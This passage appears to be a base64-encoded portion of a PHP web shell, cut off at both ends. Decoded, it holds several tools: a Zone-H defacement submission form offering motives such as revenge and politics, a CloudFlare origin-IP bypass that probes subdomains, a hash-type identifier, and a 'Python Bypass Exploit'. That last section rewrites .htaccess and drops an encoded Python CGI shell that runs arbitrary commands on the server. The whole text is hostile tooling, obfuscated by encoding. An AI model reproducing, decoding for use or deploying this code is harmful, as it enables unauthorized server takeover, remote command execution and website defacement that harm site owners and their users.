9wdGlvbiA+LS0tLS0tLS0tLS0tLUNob29zZSBBbnktLS0tLS0tLS0tLS0tLS08L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMSIgPkhlaC4uLmp1c3QgZm9yIGZ1biE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMiIgPlJldmVuZ2UgYWdhaW5zdCB0aGF0IHdlYnNpdGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMyIgPlBvbGl0aWNhbCByZWFzb25zPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjQiID5BcyBhIGNoYWxsZW5nZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI1IiA+SSBqdXN0IHdhbnQgdG8gYmUgdGhlIGJlc3QgZGVmYWNlcjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI2IiA+UGF0cmlvdGlzbTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSI3IiA+Tm90IGF2YWlsYWJsZTwvb3B0aW9uPgo8L3NlbGVjdD4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iem9uZSI+CjxjZW50ZXI+PHRleHRhcmVhIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO291dGxpbmU6bm9uZTsiIG5hbWU9ImRvbWFpbiIgY29scz0iMTE2IiByb3dzPSI5IiBpZD0iZG9tYWlucyI+TGlzdCBPZiBEb21haW5zPC90ZXh0YXJlYT4KPGJyIC8+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNlbmQgTm93ICEiIG5hbWU9IlNlbmROb3dUb1pvbmVIIiAvPjxicj48L2NlbnRlcj48L3RhYmxlPgo8L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgo8IS0tIEVuZCBPZiBab25lLUggLS0+CjwvdGQ+PC9jZW50ZXI+PGJyPjxicj4KCjw/cGhwCmVjaG8gJzxjZW50ZXI+JzsKCW9iX3N0YXJ0KCk7Cgkkc3ViID0gZ2V0X2xvYWRlZF9leHRlbnNpb25zKCk7CglpZighaW5fYXJyYXkoImN1cmwiLCAkc3ViKSl7ZGllKCdbLV0gQ3VybCBJcyBOb3QgU3VwcG9ydGVkICEhICcpO30KCSRoYWNrZXIgPSAkX1BPU1RbJ2RlZmFjZXInXTsKCSRtZXRob2QgPSAkX1BPU1RbJ2hhY2ttb2RlJ107CgkkbmVkZW4gPSAkX1BPU1RbJ3JlYXNvbiddOwoJJHNpdGUgPSAkX1BPU1RbJ2RvbWFpbiddOwoJCglpZiAoZW1wdHkoJGhhY2tlcikpe2RpZSAoIlsrXSBZb3UgTXVzdCBGaWxsIEluIFRoZSBBdHRhY2tlciBOYW1lIVsrXSIpO30KCWVsc2VpZigkbWV0aG9kID09ICItLS0tLS0tLVNFTEVDVC0tLS0tLS0tIikge2RpZSgiWytdIFlvdSBNdXN0IFNlbGVjdCBUaGUgTWV0aG9kIVsrXSIpO30KCWVsc2VpZigkbmVkZW4gPT0gIi0tLS0tLS0tU0VMRUNULS0tLS0tLS0iKSB7ZGllKCJbK10gWW91IE11c3QgU2VsZWN0IFRoZSBSZWFzb24hWytdIik7fQoJZWxzZWlmKGVtcHR5KCRzaXRlKSkge2RpZSgiWytdIFlvdSBNdXN0IEludGVyIHRoZSBTaXRlcyBMaXN0IVsrXSAiKTt9CgkkaSA9IDA7Cgkkc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsKCXdoaWxlKCRpIDwgY291bnQoJHNpdGVzKSkgCgl7CgkJaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIikgeyRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTt9CgkJWm9uZUgoImh0dHA6Ly96b25lLWgub3JnL25vdGlmeS9zaW5nbGUiLCAkaGFja2VyLCAkbWV0aG9kLCAkbmVkZW4sICRzaXRlc1skaV0pOwoJCWVjaG8gIlNpdGUgOiAiLiRzaXRlc1skaV0uIiBEZWZhY2VkICFcbiI7CgkJKyskaTsKCX0KCWVjaG8gIlsrXSBTdWNjZXNzZnVsbHkgU3VibWl0dGVkIFRvIFpvbmUtSCEhIFsrXSI7CgoJZWNobyAnPC9jZW50ZXI+JzsKfQoKLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnYnlwYXNzLWNmJykpCnsJCmVjaG8gJwo8Zm9ybSBtZXRob2Q9IlBPU1QiPjxicj48YnI+CjxjZW50ZXI+PHAgYWxpZ249ImNlbnRlciIgZGlyPSJsdHIiPjxiPjxmb250IHNpemU9IjUiIGZhY2U9IlRhaG9tYSI+LS09PVsgQnlwYXNzCjxmb250IGNvbG9yPSIjQ0MwMDAwIj5DbG91ZEZsYXJlPC9mb250PiBdPT0tLTwvZm9udD48L2I+PC9wPgo8c2VsZWN0IGNsYXNzPSJpbnB1dHoiIG5hbWU9ImtyeiI+Cgk8b3B0aW9uPmZ0cDwvb3B0aW9uPgoJCTxvcHRpb24+ZGlyZWN0LWNvbm50ZWN0PC9vcHRpb24+CgkJCTxvcHRpb24+d2VibWFpbDwvb3B0aW9uPgoJCQkJPG9wdGlvbj5jcGFuZWw8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSJ1cmwiPgo8aW5wdXQgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQnlwYXNzIj48L2NlbnRlcj4KCic7CgokdGFyZ2V0ID0gJF9QT1NUWyd0YXJnZXQnXTsKIyBCeXBhc3MgRnJvbSBGVFAKaWYoJF9QT1NUWydrcnonXSA9PSAiZnRwIikgewokZnRwID0gZ2V0aG9zdGJ5bmFtZSgiZnRwLiIuIiR0YXJnZXQiKTsKZWNobyAiPGJyPjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRkYwMDAwJz5Db3JyZWN0IAppcCBpcyA6IDwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRjY4QjFGJz4kZnRwPC9mb250PjwvcD4iOwp9IAojIEJ5cGFzcyBGcm9tIERpcmVjdC1Db25uZWN0CmlmKCRfUE9TVFsna3J6J10gPT0gImRpcmVjdC1jb25udGVjdCIpIHsKJGRpcmVjdCA9IGdldGhvc3RieW5hbWUoImRpcmVjdC1jb25uZWN0LiIuIiR0YXJnZXQiKTsKZWNobyAiPGJyPjxwIGFsaWduPSdjZW50ZXInIGRpcj0nbHRyJz48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRkYwMDAwJz5Db3JyZWN0IAppcCBpcyA6IDwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjRjY4QjFGJz4kZGlyZWN0PC9mb250PjwvcD4iOwp9CiMgQnlwYXNzIEZyb20gV2VibWFpbAppZigkX1BPU1RbJ2tyeiddID09ICJ3ZWJtYWlsIikgewokd2ViID0gZ2V0aG9zdGJ5bmFtZSgid2VibWFpbC4iLiIkdGFyZ2V0Iik7CmVjaG8gIjxicj48cCBhbGlnbj0nY2VudGVyJyBkaXI9J2x0cic+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0ZGMDAwMCc+Q29ycmVjdCAKaXAgaXMgOiA8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0Y2OEIxRic+JHdlYjwvZm9udD48L3A+IjsKfQojIEJ5cGFzcyBGcm9tIENwYW5lbAppZigkX1BPU1RbJ2tyeiddID09ICJjcGFuZWwiKSB7CiRjcGFuZWwgPSBnZXRob3N0YnluYW1lKCJjcGFuZWwuIi4iJHRhcmdldCIpOwplY2hvICI8YnI+PHAgYWxpZ249J2NlbnRlcicgZGlyPSdsdHInPjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyNGRjAwMDAnPkNvcnJlY3QgCmlwIGlzIDogPC9mb250Pjxmb250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyNGNjhCMUYnPiRjcGFuZWw8L2ZvbnQ+PC9wPiI7Cn0KfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCgoKCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnaGFzaGlkJykpIHsKaWYoaXNzZXQoJF9QT1NUWydnZXRoYXNoJ10pKXsKCQkkaGFzaCA9ICRfUE9TVFsnaGFzaCddOwoJCWlmKHN0cmxlbigkaGFzaCk9PTMyKXsKCQkJJGhhc2hyZXN1bHQgPSAiTUQ1IEhhc2giOwoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09NDApewoJCQkkaGFzaHJlc3VsdCA9ICJTSEEtMSBIYXNoLyAvTXlTUUw1IEhhc2giOwoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09MTMpewoJCQkkaGFzaHJlc3VsdCA9ICJERVMoVW5peCkgSGFzaCI7CgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0xNil7CgkJCSRoYXNocmVzdWx0ID0gIk15U1FMIEhhc2ggLyAvREVTKE9yYWNsZSBIYXNoKSI7CgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT00MSl7CgkJCSRHZXRIYXNoQ2hhciA9IHN1YnN0cigkaGFzaCwgNDApOwoJCQlpZigkR2V0SGFzaENoYXIgPT0gIioiKXsKCQkJCSRoYXNocmVzdWx0ID0gIk15U1FMNSBIYXNoIjsgCgkJCX0JCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT02NCl7CgkJCSRoYXNocmVzdWx0ID0gIlNIQS0yNTYgSGFzaCI7CgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT05Nil7CgkJCSRoYXNocmVzdWx0ID0gIlNIQS0zODQgSGFzaCI7CgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0xMjgpewoJCQkkaGFzaHJlc3VsdCA9ICJTSEEtNTEyIEhhc2giOwoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09MzQpewoJCQlpZihzdHJzdHIoJGhhc2gsICckMSQnKSl7CgkJCQkkaGFzaHJlc3VsdCA9ICJNRDUoVW5peCkgSGFzaCI7CgkJCX0gCQoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09MzcpewoJCQlpZihzdHJzdHIoJGhhc2gsICckYXByMSQnKSl7CgkJCQkkaGFzaHJlc3VsdCA9ICJNRDUoQVBSKSBIYXNoIjsKCQkJfSAJCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0zNCl7CgkJCWlmKHN0cnN0cigkaGFzaCwgJyRIJCcpKXsKCQkJCSRoYXNocmVzdWx0ID0gIk1ENShwaHBCQjMpIEhhc2giOwoJCQl9IAkKCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTM0KXsKCQkJaWYoc3Ryc3RyKCRoYXNoLCAnJFAkJykpewoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KFdvcmRwcmVzcykgSGFzaCI7CgkJCX0gCQoJCX1lbHNlaWYoc3RybGVuKCRoYXNoKT09MzkpewoJCQlpZihzdHJzdHIoJGhhc2gsICckNSQnKSl7CgkJCQkkaGFzaHJlc3VsdCA9ICJTSEEtMjU2KFVuaXgpIEhhc2giOwoJCQl9IAkKCQl9ZWxzZWlmKHN0cmxlbigkaGFzaCk9PTM5KXsKCQkJaWYoc3Ryc3RyKCRoYXNoLCAnJDYkJykpewoJCQkJJGhhc2hyZXN1bHQgPSAiU0hBLTUxMihVbml4KSBIYXNoIjsKCQkJfSAJCgkJfWVsc2VpZihzdHJsZW4oJGhhc2gpPT0yNCl7CgkJCWlmKHN0cnN0cigkaGFzaCwgJz09JykpewoJCQkJJGhhc2hyZXN1bHQgPSAiTUQ1KEJhc2UtNjQpIEhhc2giOwoJCQl9IAkKCQl9ZWxzZXsKCQkJJGhhc2hyZXN1bHQgPSAiSGFzaCB0eXBlIG5vdCBmb3VuZCI7CgkJfQoJfWVsc2V7CgkJJGhhc2hyZXN1bHQgPSAiTm8gSGFzaCBFbnRlcmVkIjsKCX0KCQoJPz4KCTxjZW50ZXI+PGJyPjxCcj48YnI+CgkKCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJQT1NUIj4KCQk8dHI+CgkJPHRhYmxlIGNsYXNzPSJ0YWJuZXQiPgoJCTx0aCBjb2xzcGFuPSI1Ij5IYXNoIElkZW50aWZpY2F0aW9uPC90aD4KCQk8dHIgY2xhc3M9Im9wdGlvbnN0ciI+PEI+PHRkPkVudGVyIEhhc2g8L3RkPjwvYj48dGQ+OjwvdGQ+CTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaGFzaCIgc2l6ZT0nNjAnIGNsYXNzPSJpbnB1dHoiIC8+PC90ZD48dGQ+PGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImlucHV0emJ1dCIgbmFtZT0iZ2V0aGFzaCIgdmFsdWU9IklkZW50aWZ5IEhhc2giIC8+PC90ZD48L3RyPgoJCTx0ciBjbGFzcz0ib3B0aW9uc3RyIj48Yj48dGQ+UmVzdWx0PC90ZD48dGQ+OjwvdGQ+PHRkPjw/cGhwIGVjaG8gJGhhc2hyZXN1bHQ7ID8+PC90ZD48L3RyPjwvYj4KCTwvdGFibGU+PC90cj48L2Zvcm0+Cgk8L2NlbnRlcj4KCQoJPD9waHAKIH0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3B5dGhvbicpKSB7IAplY2hvICI8Y2VudGVyLz48YnIvPjxiPgogLS09PVsgUHl0aG9uICBCeXBhc3MgRXhwbG9pdCBdPT0tLSAKIDwvYj48YnI+PGJyPiI7CiAKIAogICAgbWtkaXIoJ3B5dGhvbicsIDA3NTUpOwogICAgY2hkaXIoJ3B5dGhvbicpOwogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOwogICAgICAgICRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKICAgICAgICAkZG9zeWEgPSBmb3BlbiAoJGRvc3lhX2FkaSAsICd3Jykgb3IgZGllICgiRG9zeWEgYSYjMjMxOyYjMzA1O2xhbWFkJiMzMDU7ISIpOwogICAgICAgICRtZXRpbiA9ICJBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLml6byI7ICAgIAogICAgICAgIGZ3cml0ZSAoICRkb3N5YSAsICRtZXRpbiApIDsKICAgICAgICBmY2xvc2UgKCRkb3N5YSk7CiRweXRob25wID0gJ0l5RXZkWE55TDJKcGJpOXdlWFJvYjI0S0l5QXdOeTB3Tnkwd05Bb2pJSFl4TGpBdU1Bb0tJeUJqWjJrdGMyaGxiR3d1Y0hrS0l5QkIKSUhOcGJYQnNaU0JEUjBrZ2RHaGhkQ0JsZUdWamRYUmxjeUJoY21KcGRISmhjbmtnYzJobGJHd2dZMjl0YldGdVpITXVDZ29LSXlCRApiM0I1Y21sbmFIUWdUV2xqYUdGbGJDQkdiMjl5WkFvaklGbHZkU0JoY21VZ1puSmxaU0IwYnlCdGIyUnBabmtzSUhWelpTQmhibVFnCmNtVnNhV05sYm5ObElIUm9hWE1nWTI5a1pTNEtDaU1nVG04Z2QyRnljbUZ1ZEhrZ1pYaHdjbVZ6Y3lCdmNpQnBiWEJzYVdWa0lHWnYKY2lCMGFHVWdZV05qZFhKaFkza3NJR1pwZEc1bGMzTWdkRzhnY0hWeWNHOXpaU0J2Y2lCdmRHaGxjbmRwYzJVZ1ptOXlJSFJvYVhNZwpZMjlrWlM0dUxpNEtJeUJWYzJVZ1lYUWdlVzkxY2lCdmQyNGdjbWx6YXlBaElTRUtDaU1nUlMxdFlXbHNJRzFwWTJoaFpXd2dRVlFnClptOXZjbVFnUkU5VUlHMWxJRVJQVkNCMWF3b2pJRTFoYVc1MFlXbHVaV1FnWVhRZ2QzZDNMblp2YVdSemNHRmpaUzV2Y21jdWRXc3YKWVhSc1lXNTBhV0p2ZEhNdmNIbDBhRzl1ZFhScGJITXVhSFJ0YkFvS0lpSWlDa0VnYzJsdGNHeGxJRU5IU1NCelkzSnBjSFFnZEc4ZwpaWGhsWTNWMFpTQnphR1ZzYkNCamIyMXRZVzVrY3lCMmFXRWdRMGRKTGdvaUlpSUtJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXdvaklFbHRjRzl5ZEhNS2RISjUKT2dvZ0lDQWdhVzF3YjNKMElHTm5hWFJpT3lCaloybDBZaTVsYm1GaWJHVW9LUXBsZUdObGNIUTZDaUFnSUNCd1lYTnpDbWx0Y0c5eQpkQ0J6ZVhNc0lHTm5hU3dnYjNNS2MzbHpMbk4wWkdWeWNpQTlJSE41Y3k1emRHUnZkWFFLWm5KdmJTQjBhVzFsSUdsdGNHOXlkQ0J6CmRISm1kR2x0WlFwcGJYQnZjblFnZEhKaFkyVmlZV05yQ21aeWIyMGdVM1J5YVc1blNVOGdhVzF3YjNKMElGTjBjbWx1WjBsUENtWnkKYjIwZ2RISmhZMlZpWVdOcklHbHRjRzl5ZENCd2NtbHVkRjlsZUdNS0NpTWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNagpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1LSXlCamIyNXpkR0Z1ZEhNS0NtWnZiblJzCmFXNWxJRDBnSnp4R1QwNVVJRU5QVEU5U1BTTTBNalF5TkRJZ2MzUjViR1U5SW1admJuUXRabUZ0YVd4NU9uUnBiV1Z6TzJadmJuUXQKYzJsNlpUb3hNbkIwT3lJK0p3cDJaWEp6YVc5dWMzUnlhVzVuSUQwZ0oxWmxjbk5wYjI0Z01TNHdMakFnTjNSb0lFcDFiSGtnTWpBdwpOQ2NLQ21sbUlHOXpMbVZ1ZG1seWIyNHVhR0Z6WDJ0bGVTZ2lVME5TU1ZCVVgwNUJUVVVpS1RvS0lDQWdJSE5qY21sd2RHNWhiV1VnClBTQnZjeTVsYm5acGNtOXVXeUpUUTFKSlVGUmZUa0ZOUlNKZENtVnNjMlU2Q2lBZ0lDQnpZM0pwY0hSdVlXMWxJRDBnSWlJS0NrMUYKVkVoUFJDQTlJQ2NpVUU5VFZDSW5DZ29qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNagpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakNpTWdVSEpwZG1GMFpTQm1kVzVqZEdsdmJuTWdZVzVrSUhaaGNtbGhZbXhsCmN3b0taR1ZtSUdkbGRHWnZjbTBvZG1Gc2RXVnNhWE4wTENCMGFHVm1iM0p0TENCdWIzUndjbVZ6Wlc1MFBTY25LVG9LSUNBZ0lDSWkKSWxSb2FYTWdablZ1WTNScGIyNHNJR2RwZG1WdUlHRWdRMGRKSUdadmNtMHNJR1Y0ZEhKaFkzUnpJSFJvWlNCa1lYUmhJR1p5YjIwZwphWFFzSUdKaGMyVmtJRzl1Q2lBZ0lDQjJZV3gxWld4cGMzUWdjR0Z6YzJWa0lHbHVMaUJCYm5rZ2JtOXVMWEJ5WlhObGJuUWdkbUZzCmRXVnpJR0Z5WlNCelpYUWdkRzhnSnljZ0xTQmhiSFJvYjNWbmFDQjBhR2x6SUdOaGJpQmlaU0JqYUdGdVoyVmtMZ29nSUNBZ0tHVXUKWnk0Z2RHOGdjbVYwZFhKdUlFNXZibVVnYzI4Z2VXOTFJR05oYmlCMFpYTjBJR1p2Y2lCdGFYTnphVzVuSUd0bGVYZHZjbVJ6SUMwZwpkMmhsY21VZ0p5Y2dhWE1nWVNCMllXeHBaQ0JoYm5OM1pYSWdZblYwSUhSdklHaGhkbVVnZEdobElHWnBaV3hrSUcxcGMzTnBibWNnCmFYTnVKM1F1S1NJaUlnb2dJQ0FnWkdGMFlTQTlJSHQ5Q2lBZ0lDQm1iM0lnWm1sbGJHUWdhVzRnZG1Gc2RXVnNhWE4wT2dvZ0lDQWcKSUNBZ0lHbG1JRzV2ZENCMGFHVm1iM0p0TG1oaGMxOXJaWGtvWm1sbGJHUXBPZ29nSUNBZ0lDQWdJQ0FnSUNCa1lYUmhXMlpwWld4awpYU0E5SUc1dmRIQnlaWE5sYm5RS0lDQWdJQ0FnSUNCbGJITmxPZ29nSUNBZ0lDQWdJQ0FnSUNCcFppQWdkSGx3WlNoMGFHVm1iM0p0ClcyWnBaV3hrWFNrZ0lUMGdkSGx3WlNoYlhTazZDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmtZWFJoVzJacFpXeGtYU0E5SUhSb1pXWnYKY20xYlptbGxiR1JkTG5aaGJIVmxDaUFnSUNBZ0lDQWdJQ0FnSUdWc2MyVTZDaUFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQjJZV3gxWlhNZwpQU0J0WVhBb2JHRnRZbVJoSUhnNklIZ3VkbUZzZFdVc0lIUm9aV1p2Y20xYlptbGxiR1JkS1NBZ0lDQWdJeUJoYkd4dmQzTWdabTl5CklHeHBjM1FnZEhsd1pTQjJZV3gxWlhNS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdSaGRHRmJabWxsYkdSZElEMGdkbUZzZFdWekNpQWcKSUNCeVpYUjFjbTRnWkdGMFlRb0tDblJvWldadmNtMW9aV0ZrSUQwZ0lpSWlQRWhVVFV3K1BFaEZRVVErUEZSSlZFeEZQbU5uYVMxegphR1ZzYkM1d2VTQXRJR0VnUTBkSklHSjVJRVoxZW5wNWJXRnVQQzlVU1ZSTVJUNDhMMGhGUVVRK0NqeENUMFJaUGp4RFJVNVVSVkkrCkNqeElNVDVYWld4amIyMWxJSFJ2SUdObmFTMXphR1ZzYkM1d2VTQXRJRHhDVWo1aElGQjVkR2h2YmlCRFIwazhMMGd4UGdvOFFqNDgKU1Q1Q2VTQkdkWHA2ZVcxaGJqd3ZRajQ4TDBrK1BFSlNQZ29pSWlJclptOXVkR3hwYm1VZ0t5SldaWEp6YVc5dUlEb2dJaUFySUhabApjbk5wYjI1emRISnBibWNnS3lBaUlpSXNJRkoxYm01cGJtY2diMjRnT2lBaUlpSWdLeUJ6ZEhKbWRHbHRaU2duSlVrNkpVMGdKWEFzCklDVkJJQ1ZrSUNWQ0xDQWxXU2NwS3ljdVBDOURSVTVVUlZJK1BFSlNQaWNLQ25Sb1pXWnZjbTBnUFNBaUlpSThTREkrUlc1MFpYSWcKUTI5dGJXRnVaRHd2U0RJK0NqeEdUMUpOSUUxRlZFaFBSRDFjSWlJaUlpQXJJRTFGVkVoUFJDQXJJQ2NpSUdGamRHbHZiajBpSnlBcgpJSE5qY21sd2RHNWhiV1VnS3lBaUlpSmNJajRLUEdsdWNIVjBJRzVoYldVOVkyMWtJSFI1Y0dVOWRHVjRkRDQ4UWxJK0NqeHBibkIxCmRDQjBlWEJsUFhOMVltMXBkQ0IyWVd4MVpUMGlVM1ZpYldsMElqNDhRbEkrQ2p3dlJrOVNUVDQ4UWxJK1BFSlNQaUlpSWdwaWIyUjUKWlc1a0lEMGdKend2UWs5RVdUNDhMMGhVVFV3K0p3cGxjbkp2Y20xbGMzTWdQU0FuUEVORlRsUkZVajQ4U0RJK1UyOXRaWFJvYVc1bgpJRmRsYm5RZ1YzSnZibWM4TDBneVBqeENVajQ4VUZKRlBpY0tDaU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qCkl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNS0l5QnRZV2x1SUdKdlpIa2diMllnZEdobElITmoKY21sd2RBb0thV1lnWDE5dVlXMWxYMThnUFQwZ0oxOWZiV0ZwYmw5Zkp6b0tJQ0FnSUhCeWFXNTBJQ0pEYjI1MFpXNTBMWFI1Y0dVNgpJSFJsZUhRdmFIUnRiQ0lnSUNBZ0lDQWdJQ0FqSUhSb2FYTWdhWE1nZEdobElHaGxZV1JsY2lCMGJ5QjBhR1VnYzJWeWRtVnlDaUFnCklDQndjbWx1ZENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSXlCemJ5QnBjeUIwYUdseklHSnMKWVc1cklHeHBibVVLSUNBZ0lHWnZjbTBnUFNCaloya3VSbWxsYkdSVGRHOXlZV2RsS0NrS0lDQWdJR1JoZEdFZ1BTQm5aWFJtYjNKdApLRnNuWTIxa0oxMHNabTl5YlNrS0lDQWdJSFJvWldOdFpDQTlJR1JoZEdGYkoyTnRaQ2RkQ2lBZ0lDQndjbWx1ZENCMGFHVm1iM0p0CmFHVmhaQW9nSUNBZ2NISnBiblFnZEdobFptOXliUW9nSUNBZ2FXWWdkR2hsWTIxa09nb2dJQ0FnSUNBZ0lIQnlhVzUwSUNjOFNGSSsKUEVKU1BqeENVajRuQ2lBZ0lDQWdJQ0FnY0hKcGJuUWdKenhDUGtOdmJXMWhibVFnT2lBbkxDQjBhR1ZqYldRc0lDYzhRbEkrUEVKUwpQaWNLSUNBZ0lDQWdJQ0J3Y21sdWRDQW5VbVZ6ZFd4MElEb2dQRUpTUGp4Q1VqNG5DaUFnSUNBZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnCklDQWdJQ0JqYUdsc1pGOXpkR1JwYml3Z1kyaHBiR1JmYzNSa2IzVjBJRDBnYjNNdWNHOXdaVzR5S0hSb1pXTnRaQ2tLSUNBZ0lDQWcKSUNBZ0lDQWdZMmhwYkdSZmMzUmthVzR1WTJ4dmMyVW9LUW9nSUNBZ0lDQWdJQ0FnSUNCeVpYTjFiSFFnUFNCamFHbHNaRjl6ZEdSdgpkWFF1Y21WaFpDZ3BDaUFnSUNBZ0lDQWdJQ0FnSUdOb2FXeGtYM04wWkc5MWRDNWpiRzl6WlNncENpQWdJQ0FnSUNBZ0lDQWdJSEJ5CmFXNTBJSEpsYzNWc2RDNXlaWEJzWVdObEtDZGNiaWNzSUNjOFFsSStKeWtLQ2lBZ0lDQWdJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHYKYml3Z1pUb2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSXlCaGJpQmxjbkp2Y2lCcGJpQmxlR1ZqZFhScGJtY2dkR2hsSUdOdgpiVzFoYm1RS0lDQWdJQ0FnSUNBZ0lDQWdjSEpwYm5RZ1pYSnliM0p0WlhOekNpQWdJQ0FnSUNBZ0lDQWdJR1lnUFNCVGRISnBibWRKClR5Z3BDaUFnSUNBZ0lDQWdJQ0FnSUhCeWFXNTBYMlY0WXlobWFXeGxQV1lwQ2lBZ0lDQWdJQ0FnSUNBZ0lHRWdQU0JtTG1kbGRIWmgKYkhWbEtDa3VjM0JzYVhSc2FXNWxjeWdwQ2lBZ0lDQWdJQ0FnSUNBZ0lHWnZjaUJzYVc1bElHbHVJR0U2Q2lBZ0lDQWdJQ0FnSUNBZwpJQ0FnSUNCd2NtbHVkQ0JzYVc1bENnb2dJQ0FnY0hKcGJuUWdZbTlrZVdWdVpBb0tDaUlpSWdwVVQwUlBMMGxUVTFWRlV3b0tDZ3BEClNFRk9SMFZNVDBjS0NqQTNMVEEzTFRBMElDQWdJQ0FnSUNCV1pYSnphVzl1SURFdU1DNHdDa0VnZG1WeWVTQmlZWE5wWXlCemVYTjAKWlcwZ1ptOXlJR1Y0WldOMWRHbHVaeUJ6YUdWc2JDQmpiMjF0WVc1a2N5NEtTU0J0WVhrZ1pYaHdZVzVrSUdsMElHbHVkRzhnWVNCdwpjbTl3WlhJZ0oyVnVkbWx5YjI1dFpXNTBKeUIzYVhSb0lITmxjM05wYjI0Z2NHVnljMmx6ZEdWdVkyVXVMaTRLSWlJaSc7CgokZmlsZSA9IGZvcGVuKCJweXRob24uaXpvIiAsIncrIik7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJHB5dGhvbnApKTsKZmNsb3NlKCRmaWxlKTsKICAgIGNobW9kKCJweXRob24uaXpvIiwwNzU1KTsKICAgZWNobyAiIDxpZnJhbWUgc3JjPXB5dGhvbi9weXR